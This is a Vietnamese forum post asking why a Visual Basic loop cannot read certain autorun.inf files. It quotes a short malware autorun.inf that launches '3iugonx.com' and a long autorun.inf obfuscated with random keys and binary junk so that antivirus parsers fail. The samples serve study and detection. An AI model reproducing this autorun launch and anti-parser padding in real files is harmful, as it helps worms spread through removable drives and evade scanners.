banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows [Đọc file autorun.inf bằng VB] Lỗi đọc file autorun.inf bị mã hóa ?  XML
  [Programming]   [Đọc file autorun.inf bằng VB] Lỗi đọc file autorun.inf bị mã hóa ? 28/03/2009 22:42:18 (+0700) | #1 | 175090
[Avatar]
kamikazeq
Member

[Minus]    0    [Plus]
Joined: 04/07/2006 03:20:53
Messages: 837
Location: Panic Malware Planet
Offline
[Profile] [PM] [Yahoo!]
Mình muốn đọc file autorun.inf bằng lệnh

Code:
Open "C:\autorun.inf" For Input As #1
        For i = 1 To 100
            Line Input #1, s
            msgbox s
        Next i
     Close #1


Đọc những file autorun.inf có nội dung đơn giản thì OK.

[COLOR="DeepSkyBlue"]
[AutoRun]
;a2kso9okAkjl83caSfH3
open=3iugonx.com
;lKaO2k2s7f2S99ko34Dqs1dSZ52
shell\open\Command=3iugonx.com
[/COLOR]
 



Nhưng đây, file autorun.inf này nó thiết kế để chống Antivirus, làm cho lệnh đọc bị lỗi theo.


;½¼D‰fIJɲuÀŒ×ü™G¬¾ŠÌ·rkXïîOVüjŠfŸAL 




;fb 
;ÑÃoÈÞµÏKkA¢PaŸÃTªx¹uerËfJ•ojP½ãFf¹wu¨iÀgH…bêmKªZHyFL
[   TdkjJufXACQXwTrqdYPpjbSC]

;Kf’Z  
;  ǐöÃerªK¯D¥øoJUqHK­¦emTiv×N¹q÷CIogå×f¡cìD¾ÞcÍ 
ajzLmMmVuIndpuy =lcH
 QPDdnsHCDPoyNqFrWqCPwdLwE =  EYhdLWGyLTaLO  

KQKpTKLgSQvADhzMNrhSy=  VZqYYrMDNyVUqfoNwyaUdSitL

;YBQ¯HSŸoÂbOÄžbèErwu£ïmœhHk¤âFyú€b™®ièdÛZorf´Nv•Æ
;XÂÚOq¥Ì÷ÁÌk‡ÒÖÃàMSv‚­qhÃHh
XQQT=KXpdSzJH 
; XVkPøEðAƒïoÙzúl¨GOÛ¥boeS

;í¦Ÿ‚V†è§ivp›åòÉvüƒöÞÌ®¨zìdåE 
; TNoAŸê›ÐquOëLGbÿEðvàÞ‚DYiÕXïäjBºVw¨j‰üRÝ



; RŠÁÖH¬µCAqVrÍppÜ­†ËÑ´h³nƒfm¼gjAÇKkÂRT›´Wt”XËUBu
   FfWcviZFJ=kMHcLuKMpxbeHUvVLDm

;m¿¢DÌðØvîÏÊX˜ŠÜ•òHÏeÇwýŸœeVlÌDÖSVnnªiPgëpr¿uhªp¾U¢qo
;ÆfÇUág¤héaÚÐu¥QEP„ÚvA³“oï 
Oy= X
;bÊU¦æé£I±õ‡ÌlPTðp¸ïðšâŽñÕA†ÄÄxz



 
 
  
FibxDcy=  vXKaLimbaYwSjV

;   
; ONVç×ëiWwnESWieà  
;ªª»áÐîV¦UwÀœúÚëQcpB–ìáEuæ
;ƒdEMFMkHVdÝzE 
hNkoIumHmuk= YeTJ

;åaÛËtD—øÍehÄ

;  VaŠjÛmñKDrÖÈq¶s€€­ËÒzúyÒoF
;  O¦åxœlhsúBsRß²rFC±e‚™Z—ëåÔ°tŒ ƒ’coGaAÒønýêcú
  
; ÍÞQU˜Bq·o°–fYÓFvÒVauÊÌCSÈXHRMÛ×­Cƒ­B¨W÷jP 

 
 lErlVdHCsqyQpCGb=lADRVhXyrbrvwbR

;NùØflÓãNBþ·Çf“Hž




GDopXKSdiq = nbGmMXLwZsDW

; 
;  


V= b 
 
;  
; ßmÉq¤PepUPÓQtyD‰J˜m v€zè

;  Mk¥ËÅI€  
;ãBýJ—êDKù¯¢«iÂhYtjtm·OÄyä¸ébH½MErP¾DÏz·Ãµßpn

 
EbaZlTYcBbgsuNyHA=MUt 
 
; 

 

;LzÁBGoljB
;MRṙ÷OMpEM™Îx¡®‡yæTeßG


  SwkgHtTA = YhuluEEVXrwHxcIMCAemHn
;©Iiþ½PpkégY݈œ 

;—ÈÀPæBˆtMÑÆÊV
 


 
 ARI=UehzEyMvadlDxIRdDGRluR
;ÕÈ“Ôu»Dç·yò°VW½ 
;áS½Ú×…ZBÖü
;Ábj˜˜ŠlI¹DÃbxKŒyP

; 

; ÙÐùSLCŸX


[MUGFeaRSXVUNZU]
;‚«mKÿ¥×ãLcK¡†³ÂªCAÞcYCãQíd•Ê»ÏDÕK
 
; qëAweÜEd°çöïlWO¦Buqûo•QµL 

;  Y™sŸLóÆÁ¥ymLšu
;kLñEÝû¦GF¸©ÖiÚbD®ù

;NSnkITpíe 
HcI= eZKabCjLwlSblRL

svCQKf =TlyzJYZN

 HDmtLfc= rTvWotHiTxVObR



;Svæ×ÀdÈúÉn…ÆdìÈ®KÏáÞ©yqÊÃP•äbn¸s”k
;
  sSg =B
; njØ‘D¹ílXmAdZäçMMn—oˆio­¸A®u΁fö—oBSDq­S£ÔMÊ÷uE‰KqE¶äCZÛp½EYW®™üM


;yWëZ 
;  âéÙØðvƒÉÃpoÜÜXhI€b
;
;àéñ÷îPx´§ðe­UîÃN·mœöNcØ¢eIb±pØkt¾
DkbRAsIkb=lKIhzuZmKMAbuzuMdWPWFx

JpGusPMHYfA=  JVcourlC

;Ái˜rliXoðIjµšA 


 
 

  YUTvcKNulgVNkTbcNhN=HzVpnAQK


; lhAkKö
 
;qSV„E­AƛէPp¦èêxÚQ¯†sKqBÀÐÅÍgðÑFm


 uVP =Sge

OpdzL=tAVAcKliVTTwTmznICEilcGAE 
;¿jSCIÝœJÁŠœ…llòpM¼vÝ…¹ÕFM½¥´IGq€­ñrƒÒFmUnŠHÄZs¿¾PWvUækIPIÚ¯kvÓ

gHJcrnbHrTtZLyPyKLmsrZZ= UEBGFMaiHpfDTMtUXZzjOcr
 
; EDëNgUxXAID¬×Ý‹ø•Ÿvÿ¢ìku
 

;NrEœÊaäeRNcßwû«JÙQaiCA§nv  

;  rHn—JlCX‹tpKϯK˜˜yeFM³T†¡™åBhï
 exqVMWbmM =KNtKqLIrGm



 


;  yìlqô°í…wö‰mmsY€€åzéWql™MKPqHhvjKDjGQýµtFgÐuÆy 


mjaTnOlHKTMXrcEPE= pB


 
;ÛúNMP§ioMÉ™Cp×½AW Ùuûõül‹Ì¹µñb

 HKACUUYMdJEgNuTa=dDoAbKuxgHBrv

 funNYQJZbDUlxuivrKj =hsxzuRvLSAtARdPCLTgslooQ

 
;î„Z¼Kîj¾Ý×tq¹qûðCÍózx€íS

 SbAkYmqj= NmMNjYyiM 
; 



; P‹wºhqÛtQørnùcÕUfŒYRÆàavvÅBQk²qÙkrßq·Kw¸afw

 
; 

uqwQlFFFuoSlCWsOmjxzc=kEryqRHuFFltvrpHImLn 



 aeBzPqtJ=Vm  
[jyFPhb]
  

; tfP¿¾×FhoæVr¡SIh»æ
 

 
;dçfxÉ’£gðžTát‘KÖšedxE gåLQNQmNG¢ 

JnAbQXPxdFGMQlA=hthUTgGdKclFvzZzTS 


;g™TY·ºOì


pwIoQiCkVDktrkgDApLXPy=QUNwLnjqXTJIVJpxHTSHaVCVi
;ɶk×q½ÁuYnfB
; YY¬t
;U»lm§ÙòÿQq­Áb¶eLtZœÝV¸SÂeíHkgHnýw«Þ€±aH zTùŸqØG×
GKTPFbubWDNaxEKIeMdThK =ZCWMJh 



;bênqqبnMq洐ZEm¾ 
;épfþQXYqWÔp»ãA…ûb¬ 


tdqRWRUjTxrjk=wHAOFvaJCLBKKHtf

; 



 HlzdxIQsfh=YtIFTCFqOBOFtCgAwPL
;« âi’ZªC¹šCW®ggSÜÞñPuXhJtFITH×NuPKMtñ³hÏKsÿvu³xG  
;  Dúò—WŠXNÑQ³®oÝÅt½Üi¸Sm
 


;  

; AãUȸ­w¥€dCTëu 

WOSAjJEKrDduvpCtjcszAwT =JIXFIuBRhH 

;
;¦Åno…²¨ŒpÙIPäòQîV×T˜æ‘q‹ùu‹WxúOæú¼RhZXÑíZb 

;¼mBg›I†WìXQ

; ÙÅóÃä

iqSTxJiYHraLAWEdXMuJxQ = pcF

;

; RæÚòPRøÈt‹rŠônd
; ¹tmgEqØKFS¼IÄE×b­·¾QxLãtßH¶°KT‹ÏVkj

; 


 oxMHaAWaaApvh  = OcBLpZz

[ZYGEbWkuyUXSCvhnvmMXn]
; …“C¨TgD³îg•ã½ïË—eˆÃMŸÆLAAlkKhQJÚ 
;ÁlwyUiAvSälKMOxd¶p·F«ÁHoãXQH¸X’÷GC÷šnj 


;



FRwSL =CvhXem


 
oWoEHAXTROocK = ofufjoBmcHJV

;


BDK =UfvBmImeNGYKZkGBaxxFgv 
; 
;G“rIMRÏ×UóÖY—b

BPRzHgwFttpyp =mZJ
;



 to= OLxhQBnYWPbxzPCyGPp 
MlqlNhptvZyACRFBmCh = JuyVVxLpFvWqrLX

;X®’åWIí«rœÔ‰Æ
CVkihnxgjU  =aTCQdMPqiaALzwYWht 

; Ý  
;J¥ýÈTÞeUSËVŽVdGÍòUÉs˜AA†˜HBß‹w¤vÝ¿ÙßZQÄwF¸©ud 

 
  iJYhDcuFiysmjuJDTIrH = IrXXSEUIWaF 

; 
CZzGfhC=ssIwjW
;  





 
  mVSBafvZnkDFgoH=JPpufaYKpAd 


; “£€Îs½UosÚÆCWH÷Ac뤯AFDL

rYmTRHosrHViCjybAQU =hgrPDlouqVJpXOWtzxgTQFQXQ
; fpÕ“yäÛíhmY—U«n÷pMa©†RxrݶŸŠ‹Ìy¢ºq¼m¿

;fÁYlyxyIôqœˆRH¬³šjrp´ßDl€llWhbùRTy»îpp•ZiÂÑåCÓË
; jVM¡Ôz“çâFuAºZt¹SfxƒVŽd¦wwÍX£MeºáKSPcÁBOL‹‘


;áÄG‰æßGotEw¤obKÁÿÌqc©YhXMfó¡…

  kRCV =sEfZFenvGQPXe 
;ý­¯Ì¼ebPÒûiJîkJåC£Bbëa 


;žoQh¼³¯
;€WÇñš’D†aλ¶c¦ ù½Áazò
SH =   JrXonjtrCzaWPg
 


; 
;X¾r…hð”yÊÁGñRÎÔGà  
  
 [jQrGSCaUUaeq
;zEÈg¸TnegndXe“gm‘SkŸßOkk»ŒRhã






MKsAxIzkpt= UTRRAXUCSEuYnpRjio 


nZHOuBOPBuyWECREDg = jRno
;  hR„Àu“TNüyK–ƒÑXDy 
; QGJ¹UÃ…bCtJåðodFΦwL†EÀ



;ïÿ»H

[cSEtyH]

;¿¦n‡ýuufiY¼¶MþA´oýe‹RCÇmZl‘MxšmOWc°ŒOúFJ«NJZiBE§môNшKPyÁ 
;  NÊ£P”Ø

;NU”äOØ«ºH‘kPiùJ¢¼çGÚkAL›­NYXm²wßщ¸ýÔr«cŽ
 

;¯fod °Ò•GSÅhU
 jediuuUmiPx=b


; 
;ÛuÉ•ôf´YgÐMþΓYøú 



;Yñ®ðþWuØDËöNm¦êìοkh“HçsÏPiÈüBNoqƒ²nRÑ´×

TTkq= xvxLnKEdHkRmUfCtBpFgHLLA
 
 E= PFRll

;Æ
bYFnHHeadl =CW



Bl= tJUA 
;   öNI×€hbl¢KîBauTÉ®iiÛÃj›q£MF‹wS€ÝésŽUf¤¿Ï•ºƒPøK¢hu±Z²  
giUAZiUuwsYhjmxghZkbs= KLFcW
; b’¤KrNk­AîHÏÙùñ·KSsUçÅC’¹qj±FÆW¥¹‹blÝ‹tÈžpÄAOnß



;Zir†LdöŽpwÈw̱he¿w½t¨fk€KLpñ¥ûCK¬rpúv
 
;L¨¿¢ëpèô 
;UB‡dñºhrzuiäA˜‰®g‹³
mfasfrEfKTYuFvw=Ou  



psXcEYuRFHvankJ= XctkVaIJtmxnnRtRP


  BxjihoDpXDqTIfRoBSxYhIfe=AbGH
;”¾qq“³qLvÀWÃFgSªqclgÕvcKPfºƒÞÎÆfv 

WfBrObd=DSaKfmRuLmTdpzIZ

;äÅrÌqeÙS




NEKqotcAcONwqcZLmLqLtNT  =tZdERkvejhkQqCkLP


y  = EHsEtTBYkhrinVJnSgY 


 
[PtXBtzzL] 




 
YRMj  = AXusAObTzlpZX
;¨ÛDn ĨNcq¿rÏe 



;  ¼˜¦uÉ×x­æÕGMl—qRgYÿX½ºB
ZhEsiicjih  = hEGgYi

; £otbÖö«TNµÙ£kېOj

;ÀVÍÑ଴fÁmGNj

xijpqqeIMuFrDQUclewLi= U
; çcQwfSè
; 
;  ÛæfVšfU›Vi›UOjœoLÞÝßMœ ¸½¼bñX”lNáGTítc
;ð¹jÁiL›P†¿³‰¯õoKZãIS¿koªþy 
;pKtþ¡ÇÏ”pÁíWpixWiügÿ 

 LEKlgyhn=EAgAEjD
;  é†rp²¿Nv£EFÔOeDŠG¾öµŠ¤ßtcK’ui–¯H×çö‡ýu׌KO¥Ð

 
CbAFMNyMhVZDjlZDwCon= vccBHgnCLxguerApEe



 Ct=uGg


; 
DlOdzlFFxKZf=luCLFCfNSOkASLCPcRnT
 
vdDHjLqWsiuPFvNhFhj =vHDchEELsuHHa 
;  inbC‡tÖ€‘ñPÛYkôO
FsAqrrNXcTWBQcZijSQ=mEOthQuDpgNmsVXOHXcfSQqF

OVMgxFBOwk =bBTtmCOlBfIYRiIvCYqmUp

; L’rGÄœçcƒ‚EáÑùjMçJOLhiT³ 




FAzKRqHGmwUTwzujxQHZlr = IweKhCCZOK
;”Fs·§mmA›OÇ×¼¨A²s   


 uurYaUpmBRzmXWBvCughwr= zjCUPRNHAXEzLZ

;–wBØr›HÀz
;  TPmG™AMÑµÖ 

; 
; HÜi±­TÞA¡ dïÿ•Gt¾ÄäfzQçsÑŽ¿»³Eà¨plòWfSΨãÐpo
;³DˆÙmÿ·úFÄèPúÖxfªGþöj”PTH¢„qÉcyù”dŽ
QuTXQSpmGug=zxZTWlcVUWlLdMoSo



; jâPCL‘åñcmüWµëG
; D–ôPb—LCê¦CòÝD«JRÞ姤SµÀŸp²‡Y¸


 
 
BRgpTFRz= FULEDxBBttXRRVpmJYNOVfgz

 m =ns
 WrJsfJcIn=epoNsKvl 
;õZMÏDmNnõkAhtßwÎfÇðOidàúsXÉoˆ¢ØVU³À
FuLxRxUnRAQvUWJpznmlgb = zhhoJdEFjxiozbVnWAedWLs

 
[ Da 

 UsKdHRqJOuhKPGmwL =qlffcwWyX 


VIExBTdtoWZWEevETzGAYgNC = RPSXLCcEidTVcTkAg 

  

;¿ÎkS¸LÄyLlo×WXTqop
; ObÍõð˜ÊXUbWÇðKÊOQw멘gk

;  itkÛ®rxÂh
SRZVdPqODMKinHG=YyrFyxSWSnDwhSQkCILoVJcU 
 [ peUsJJQGIaLamcjsAIoAl] 
  
;uÇzt±wFpÈÜyM“d¸¿RLKLfý©«DçS¦üqˆëx‹ÏLÆ
;ßï”Mb 
;åíÁ¬’XCÝmI½à“²MÿIfTå«N„bæ 
; Yrµjf²Æ¾wEº»NDޏˆÿ³íy¨þT¯µÖXmýúIb


wIEfr = JGMUsjwnDolulOT 

;  §ìl‡BÑ
; Íh¯p÷gJG˜žÜ¯¢âøyZk§raõï’SZPR 

;rÎTчp§NretR


;
GPXxT= ZqRcURHrkBOrmstbvT  

; 
;¬PHW§¡CÒJö¥˜vV“²HcÎB÷E 



j  = tEJpPROuaQluPlKR

; NÐÍhpeƒchyZBnþ”ŽRúL

VlPVJbbXSr=JMTYvPUoIfuSDyPpWIQMBR 
 

;¯UÃG­ƒÈo†©¢écP£¥þTAe¦jr ¦“ˆÔJd¼¦q
;¤ŸUõÎýcFdFf¢´
; ¯’l“QEd®mm‘•VãRtyÚgŒçzkMÄ™ilOè¾XÉŒsPMÃRLÙß 

;´qxaÓ¿ÖZ²Bò  
 EqWibXTTvvwFMeU  =q 


 

 
[oTbDZRs]
; 
 cCHZubEW=pYQvICEsYstXZqHvSjI 
; 趶EgÜJgnGKS¸KE÷W–bJúzii¡vrø‚ióåuþÌEÆ­qCaUI¼ÛeÃåÙ
  



NrgYdlIoloAdzsYUkKGAkzfb  =m

; 
;ŠGUX
; °éO²P

; 


 qZUVzSM=OzJcQNbR


;  àùHY“åToS¤êÌÞÊýý»QJDN·wR™õjVXB£mz¾lq±Kñc®áw

HNypGwSHucDII=CMKpAXtIvzurWhGArknCdH 
; 
kDgiaLJhIamP=DIVjmpnwWhTCm
IGLXCPhucJgGkLZgstvZigU=  qrYwGZkMjzgsEulYResH
;Hçeá¼’ƒøaiÕVBLEèuu™MrŽptdrÉþfuuN”s•IìàK

;nplHŒRßZ‡UÝ„CoQŽ¢YbE£ÕBæÞBfeyªm



;  

 
CpdUdUjKk= TzzTG



 

 


 BJIhbgznlogtjJrHiCpDNj= OIxAyFXyudaAiNnvC
 



;Ôà¤îx„àe™µySïBgÑcb¡NqÓÖIÄXa½x¤kgxNhÝYšKîlæÚS¬ 
 [ KBWsclKjYpMcTj]

;³U‹Óç—ÀWùEMÀrÚh¿o†Œæçe«Ot–¬…G 

;KÛÎêÆbE¿WRÈ—JéLmærAúLýj£ÿSaT¡FsÝ€yI’ùVôÙP×I


; xR‡Yøµ
 jnFTmeJQeUgQkCHn=  UFReoSDMGFJqkQLJrVOWt
;
McdDAQWmjqRgIqSkt =DiQYcEsYsSaTVbvxkSvhgKde

;³KFöQKW•aMÝðMJZ±ºÄ¡SWjGzASmïW


 
  QwHHByFVoAapcOrO= jKvCsEWOxSIujkzqr

 
;  ¸XÇLOjÇèIXTdAeãÓmRÁbV³‹¨n„O§LZØ‹ZHÑ©





[  tvqZMnsdqFXMllrehUnP]
; êX¸jvx—º€ÇE…ªmÿâlÉq




;  ADMZ¾ø•ùÝ㚈açñùE̾ÍÒǘfê
 
;  H¼B«OˆJŠI÷D‹dF‘MJRýXBÀ¢¾kîpÑMfø‹ì¯ª­àFÒAškLq
; 
CXlHxzNbYXdMudvlbtTQ =SHQwWgqrb

; ycCžlœ÷ÂÕãUjC½•œj 

 
;MsX¯®gW­
;
;VªJ—Lyïx

 yXJQdZWCizvfCJuLYjdOfF=sJ


;


pQEpIevxxZqyRvNvKNXKaJJpC =WJKDBCnZ



 

mScurkMRcdsPNqEZtWwVPh= nknJNYJutdEuRnFpcIFUh 
; 
;  
 
;  


;ÿBTŸp¡â¹•YvRx
  ECJb =nHmyPbyf
;g‘H±HÄÛYVHS¦puWìWݘYBâüojõ”†jŸH®¬ÿ­ZGC 

;  yªùè¨o½bWÖf‰Aq½KEdèeb”óON•»¼M






 cmjwlzjstwmp  =faxROzNoCWEWW 




 

; €úFgùÄwÛÜÜcbZ ±jmwKV”šy˜•Hû•úçæñýipòJ±Eþ„b¨
 UNLseA=DixxeoB

; XmBRRvíúPC–èKöäT©žhYÁaëB 


BcOJH=ZyKeeWOAKzNncHXOYaOLdj 

;økkûývUERDÐGUwIfiFvŒëðttx‹hkVIsg‘k–NˆÌþ–QlL 


; P¬ÍxŒGpoH

 
hnVEiFlSKG=dExXFBhTZSmJ

;KjçDTí㦈fÙÈijcUøæhW



zLCrboyrOtuwcDE = humsXgUv

; ಈcüO

;  dZGv“ú˜ÈC¬H‡ºVXFÇRMG 

HHNtzoJuchWfx= FnhOB

;îFMšNŒ  

; så±ÞiŽW’ɦ¤ï¶¤HÌòxýfŽRQÙgf“OÀ³
; ßcýlzEHNŽwG¦YOwÑ® 

;i¤XxÀëpŸBXŒ¹±NFž¾úwn’ekôþhqlb• 

;‹XBpüxñà‡RAXO¾Ça‹Tyþ‚¶eCsQ¸C€
 NbWKfeTadEmlUnOvKaBhenH=ArRni 
 hMFbsuVnxhdGMFCIuYwgiYXA = IlTgAWfZlEjlBXd
;
XEunwxirMIFHfxJVWoofZtpd= ZnTVbbMBdG 

; 

 VmmpPOsTJNLZJoQPNj=CMWlR
 pPMbVygVXSNeI=EK

; ƒnìD§´oZgOß·bómilVÙã–Z
;OtuÅzܬ߲݃i‡

 RwkkivjTwNxbYI=FGMxAEjEo 
;  


mHbo=AFOKCFGUAsIc 
;  EGôjùÕ –ÖIòeµWy°ÈE
; c³®SMuÈ…¯ígínpRvvMrvßSRYReœa«DtYtudM
;

 



[ GEWzsouzk] 

LOWYynREZ =lvLf 


[uVWZ]



;ÐodteU¶úcaêTˆs§º
;  
;  FîÿûlQI¦T t–çpðm


 yUedxzYUx =  TXcpq
;








LtDjDZSfhavc= nxDuswHGCjoS


 wFNT=Bsqb  

 eHLcfnqxZfiHQ=  IZTwDZBLfUzE
;  û‹Ct½rjBiLaNVhðmÀe¢D’wkM   
 JtIXYz= itneEeNEEnxBV 

cbvKmKJCRbdgnTubJlojnUDe =EoMFNxHpVRxBLjcBPDx
;J»ÊÏ…Öñ„TzW‹èM¦Ú TTCæT²y”Yvaøhr…Ù‡m™UoõÃN‰WªGAr±
;XXwÍãcÚÜLÒ½hMv¢HlTM»iKPÆr¬–qNdý£Ùž
 kZREvfU=WN

;kÇK¡yvCf‚chö®ÌmbYaŽ´úTM±FQäý£d›üäÎ
;¾Gu‰rVWõÛŽIÀÒüi¥I†B£ZFçQ
;  jWQKTÏŠycµ˜„¦x¸DsèJ
;  ʼnm¯±®ABv¦AQzšÖOG戁n
iYpvHZUKdxWi= bG
;s³iúÏüÞaïдÍÃEÏzWwðJ‘kŒGFbMÑXuüTJ‰ormc½FzEkDEªÜ‰àeI̐pDQªQÌ„f§Yþ

; 

;ísFGÚ·onmõ´NvM”dPˆµêæÀjsly†YDŒ¬U½SåÿÌElÍmnf±ÄØÞt


; ‰úÒDãkmfÔbÄiúORþ‹rÕw¹ÏöÅW½DT’Páh 
;
HitFFzHDrpH =AmuiYSulJfQaEbuqtrBq
;UÏmPA¡TpDsuBTU½d‘êRacÂf·¹ñÒ€ç´çWGuë
; ¤
;wUvÏŒ¾ö

;ÃEsA†gfïºç³âƒwVtuÅYœbx£

  OcGGWGEkcnya = IdreWEYpbkzhc
; 
;  wÂHéqI–vTóEO¹ÐÍfeÊC¡ß„‡Eªhÿq¼õM
  

;  
;¿Â‡‚²u¿Ùóbu
XLs = mCyL

fOoPBLwPyk=JLlQsoWAOVBzfSb
;l®ÇfÉ…R 
ENPkdWSBvrAsFPmQbfyMtlQ =abzQWwrqWKJPUKrnzqecbOXs 
;  wùŽÚ±kN­lYGÖÂ 



 
wouRUdZNA =  TwUQnBzDFYU  


;Ècë“qjž«tüðgMrÔå»fQtcpåCi‚Í”ŠOuºtYw‡
;ˆ’Þ‡zà  
;Z£fNqe

; IŒµHßQ‰í

 WfQMII = PTYierktvtRubcTbZnL

; 
;



  ZNz =  AArKhcpM  



;

; 
;  xD›uZá±MSãngªHoúèazNaTínYF


 WZDWhXWkwv= rVxI 
;vÿ©BD¹Ì³uW³¾ÿjÜEÙzZJP
 
 
  

;  ‘bÙz•“Ï—TCùLHŒá‰ènmyAr 
hKNHYYnPersBZnsuDk =RmwZaOIrmEB  
; ©YTPrñdV¡K…EUloqïCáhI—qp‹ÅœMôjl¦n”VhjzHúˆ
;uŠvPXü


;Êâi÷NLpƯhEmG÷õq 

 [ mts]



;iTJ·ï¡H–UxåVBnLP»XKq‡bIºEÂäíx›E  

;Jt“­DYg®T
yscgSAZQDRPnraBcAN = dyJQbuHpczHYLRSTME 


;
  OsfNwlVYVBlVZ =e
; Í  



ytZHaijDJp  = grcwiwYdoMIdxf

;vPqTjukjxpWzÔA
 

 

;
rR  =  TTfpEyxdAOEHmgqVIMhFPVRUP
 

;  Vðnvb„¯pprheëÐ
 O = ZOZtcJJ 


UVfsaIDiQkm= UwxYJZwWNbHIyXvS 

 Cr  =AEZsMSdVVTHs
;LdäcušaCtlT

xKtllBnzJrkdSYRUvIYwciWVc=wQQdSFyDhWtUXAdNxoDawVfr
;  û÷mSÄ÷™vmntGZL  
;   



 


 QxrlzMA = USeZdNBPlDXcIe






DvsontDnc=WyXRNrjf 
; ¬Nù‹½k×·ÎÐÖ‰EpOÅK 






GLYIZpFMQh=V



;cF¦LgtGoòF½¦ì¤qL·ëß‚˜Mp


;
; 

lukQZtFsGCgGaKeETMCuKS  =JajVetuGe 

;QèR—ƒY¶eêIOh²B¨FÕÒeM 



tHZPYDSHWJJgBDCLylvth= YbBxPRSnjDWRnpAuLxm 
;b¯þ

 uHhmhEgColbC=bOiYgNyLSNOgpwExZQIwzjxj
 

;YTØKdìqÆeEþJrK¿w»„à„©qÛhmnYGØ›XIyúdWõz¢¯ZnYSæèYfÞêGc


 gmuKkdcj =qrVIZXTIg 

zkJGjDbphQ=HslAsGXbuHPIY

;ؾoTOŽqŽi’LbÜFßsA

 qQoZaElSMnDlKZOdLXUkSLsGl= dXTrzFEScskizJHz
 [ rHpRNDcPmlC]


 IFuKkuAgnkQYCA =AtqqRHozqqZqOfTg 

;  b¨Ù³èËzooX¿XËmQHOYHN¥mfKØBcwrºáîn²gMyµØ΁ÒØjsZ 
;   

;
MZoVGTgv =uswwmcN



;yqDBMŽkÀÂAhB¢ìÒ…AÀz€iHj 
 YKEuRDVOSQLbGKPutSEFqKXIt  = kjRPJsNFunrFoGmHfSb  
; ûlzSkyGXTÖZzðZsyB
 RBPrTxEGvAcc=dbaF 
 
; 
;




 

 AVCJRgKtSKRWRlIIPaORFI=WvaFszhYAlxbTcTbSYMM




; FèWŽþ½¿çªr’Zø÷N 
; 
;ŠÏYãy‰Inó“üöéñxnPî¥Nƒw

jvgTulCIJsWxCdhM=zyEHlybQvlzXwEtFUZiKczgo 


;  ©žÇ¿“k±ÂSZÄkóXpu¸°ÉPpêi–K‘SÂôôõcP¤ÂFêÚhÂVèŒÒdéûá’¹†
nfulfKLpjaUHxSlUWDvGAWT =PlMcVePWaYINWIFgZu 

;±¯úñoA½bJÆøz 


;ÂGr檶«z¬ÀFZ¥DQVUøå¨GK¼ßBØBNXKJÆ 

evfhhDgen = TtvsLuUHdwFhcBFZN
;µÎ»fµ¾GV‰fžä¥¥¥g°BGEnRX
; R“¦å 
 LVwNOnleV = Go
 



;  
;r¥Xghb‡i’DsœTµ³zU“khthto²e¡lräS
iprqRKY =sAHsw

;
; ˆÀo¿qjÖÿsàdzBDüH¼RqÇjÞ


WfjJVQzeuUIhZ=qZbGyUbDbsHEOsCMbHT




; eæ¨jHÔXE¯R¸D 
;
  


KsfKnuijJBCWqmHQvKntM =fbNrkFxrQjNSDXKxHtsRWdy
 TtVDSsmayAlEwkOwltMNSSp= kJpgF


  
[tUjzVcrZcppWTq
; nwZ¢Ã¬Ñ…ÁÁà§á®ôvwH½úøCˆ¥Pr v†LkâVG€Ê™›Tl²EŠomLQšÙO




  KadBmdwTNNmSgouATJ  =yxswInmOpqRR 
 PbtATuUjKUmNciH= uXZTfwTGWHVsjvxtXe 
; ›VNIVÝUìÿxwHZqÚqõJOvnVŸÀRðW
; 
;Bh³›ÎWàLFcüõüþoGX¿Õö
  yDfVoIBLKpE= fv   
 sMqOKciMANOIgfawbu =edKLvuzrSitXZKXpp
; ˜µÈTEGiFçZµzQGvdªÀGÚƒyæGÞeÓ€‘USÏHBþW  


RmPzjXKPbeKtNfFM =HmpZa

;OÉü‚FmÙDÖuMpÛÌHjz˜ÑW­çUÃXÎv—Qã³rÉzDOK¯—XzÙXáxjh˜HXj”wMâEm
 
 

tKix=  JtKJcoLA
;æi÷fAmài±bÇuŠFV–qšzDï˜t¯xãhõSÉõ


; r Iëlbé›HW‚ålýìFXsRt 
;ιéw¢ 
DH   =cBNJvHZJFEvQdk

 



  JzkQ =steMCm 
; HswálÝB¶h°šŸN£ÛW™óeLQtbÒE‘A±Eýa…€š’BJ¸ªôIvºYcPW

aIOGdhvhbmqErxydDaSFB= CEovbSNjCwzyJAH
 
 
 
S=  SfumSUBaWuZAoLYdBOSKbSc
; 

;    
; KNmcxA³Œ¬mxRPfûzÍkræõiC

;ØRj­AeµŒ½£¨UÕnoåvªß
;¦MMZÎkrwföŪ٧²AqNêrpäU

gVc =CQ
;  
; Ɛçë¸Wâ§nì

UVlfcpCHEDzJBvET=  CKCbSMHzm 
; Ú€P cGȐÞFÄaϏqQÐàáƸf¦





; Lk­Ï¡W€ÅpNRLétïÃèSUlͬñvïrq€Tu 


nUVXGiM=MOvlzQgXTKgxVuVuM

;  lmådjIè¯Ußv×Ãwhe

FDit=  sYV
D=YAJ 
  
;kHºFYôH¨ÉQK»—JhVôN‹ËU¼LÌPzÿhx¦ˆk‘
dFPptvEDXkHVXDsLjywdQb=SicUOQuywILoENRXaxThyB
;rcàtÃcJÜ¡IAáGÆ£I‘HãLoÚJ™•ecU 

;  ”mN³wŒ©Záãžb™IJº•»ÄÆlˉ˜”ðÕKCÂsšýS‡nëaGjp›RkpS¥o
[ ZcGCjgUVJLzumth



;  




qoWJQReMdLvmtLC =qjIcLkhVNvWC 



 YszurHdjBBRybx =  LRRcW



 

wrxhyKE=tCseGZbkIoo

 
;UvJ”æi’ëwCî°
; “劉ݲJòzQVuJW½qДAH¼‰ˆR

 YBWqWezxuSvPARNPoRnbyMJ=fqlP
;­ñKAÎGq½ðZ‹  


;  
 mlEpOMpKblsLTzuJ   = wNbgD

;¨eàjPV´uêŸaŒºt±bëæ 



ukfnYGdWGuZxtEIF=ybS




;PW÷EüNéŠZ™xwyNsnï™jy–JGoFgoŒdBH»Ha
sEXqZUtoZSVcijWMSakCN=IFEiNPxHZ
;
; ôcÜ¥¯¾L§˜ÔqsËWukxHÖTdPvý»ÓAœ 

 

  [tIzSfrYI] 



 

 
JVwtaYUSxAKBwIybrmzhMMkLk=AnDdolGMjfptk

;yÄ·ÞNWÁ½®TyÚow€eÜüìo—ಛGnÞD§o´¸gZUŒ
  
;ÔCjkRÍs•æraVˉm¨Ùב°‰¨®îl¯b¡„ŠùQm«
; nk®º¾YçG¸ÌáÁOß

  XqqEpCXiKiDnTiQq=EiRdxzMeszAeLnGZPCpSWr 
;  dlRÈ«‹šd±æöó’KUŒ”r«x¯Ê°yBȝ¤wh 



 



